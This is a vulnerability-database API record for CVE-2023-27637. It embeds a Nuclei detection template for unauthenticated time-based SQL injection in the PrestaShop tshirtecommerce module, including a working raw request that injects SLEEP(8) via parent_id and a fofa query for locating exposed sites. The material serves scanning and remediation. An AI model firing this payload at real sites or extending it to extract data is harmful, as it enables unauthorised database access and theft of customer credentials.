{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-27637/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-27637/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-27637/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-27637/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-27637/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-27637"},"sightings":{"href":"/api/v1/sightings/cve-2023-27637"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-27637.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-27637\n\ninfo:\n  name: PrestaShop `tshirtecommerce` Module - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.\n  impact: |\n    Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.\n  remediation: |\n    Update the tshirtecommerce module to the latest version and apply all security patches.\n  reference:\n    - https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-27637\n    - https://codecanyon.net/item/prestashop-custom-product-designer/19202018\n    - https://tshirtecommerce.com/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-27637\n    cwe-id: CWE-89\n    epss-score: 0.03299\n    epss-percentile: 0.88026\n    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*\n  metadata:\n    max-request: 1\n    vendor: tshirtecommerce\n    product: custom_product_designer\n    framework: prestashop\n    fofa-query: body=\"Prestashop\" && body=\"tshirtecommerce\"\n  tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=8\"\n          - \"status_code == 200\"\n          - \"contains(tolower(body), 'product not found')\"\n        condition: and\n# digest: 4a0a004730450221008ad26a80169be7868e214b08f7488443dc1a494543e4ec4cc611b86594f0aa7c022047caecf0f205843dcc58e3911464d513e5959ea2315d7e7d2cfbd7c4403b46a4:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-27637"}